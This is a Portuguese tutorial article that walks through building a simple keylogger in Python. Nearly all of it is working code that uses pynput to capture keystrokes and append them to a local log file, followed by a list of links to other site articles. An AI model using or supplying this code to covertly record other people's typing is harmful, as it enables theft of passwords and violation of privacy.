Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 48.804 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev
keydata = keydata.replace("'", "")
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
for key in translate_keys:
#key recebe a chave do dicionário translate_keys
#substituir a chave (key) pelo seu valor (translate_keys[key])
keydata = keydata.replace(key, translate_keys[key])
#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener
#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"
def writeLog(key):
'''
Esta função será responsável por receber a tecla pressionada
via Listener e escrever no arquivo de log
'''
#dicionário com as teclas a serem traduzidas
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
#converter a tecla pressionada para string
keydata = str(key)
#remover as asplas simples que delimitam os caracteres
keydata = keydata.replace("'", "")
for key in translate_keys:
#key recebe a chave do dicionário translate_keys
#substituir a chave (key) pelo seu valor (translate_keys[key])
keydata = keydata.replace(key, translate_keys[key])
#abrir o arquivo de log no modo append
with open(logFile, "a") as f:
f.write(keydata)
#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
l.join()
tzwatch - Navegando pelo horário mundial no Debian
Criando gráficos com a classe JPGraph (parte 2)
Tasker - Cotação do dólar usando Javascript
Python: automatizando a extração de informações na web com expressões regulares
Introdução ao clib (Command Line Book)
Scikit Learn: Projetando o futuro de suas APIs e aplicativos usando machine learning
Python - Usando requests anônimos através da rede Tor
Python - Uma linguagem orientada a objetos
Gentoo binário em 2026: UEFI, LUKS, Btrfs e Systemd
Trabalhando Nativamente com Logs no Linux
Jogando Daikatana (Steam) com Patch 1.3 via Luxtorpeda no Linux
LazyDocker – Interface de Usuário em Tempo Real para o Docker
Usando dracut e dispensando genkernel no Gentoo + LUKS + Btrfs
Curso GRÁTIS: OCS Inventory NG - Do Deploy ao Hardening com foco em Segurança da Informação!
Instalando fontes via script no Nautilus Scripts no Gnome do Debian 13
VirtualBox no Ubuntu 25.10 sem redimensionam... automatico. (1)
Instalar Linux em notebook Sony Vaio VPCEG13EB (2)
GLPI Não atualiza Inventario (0)









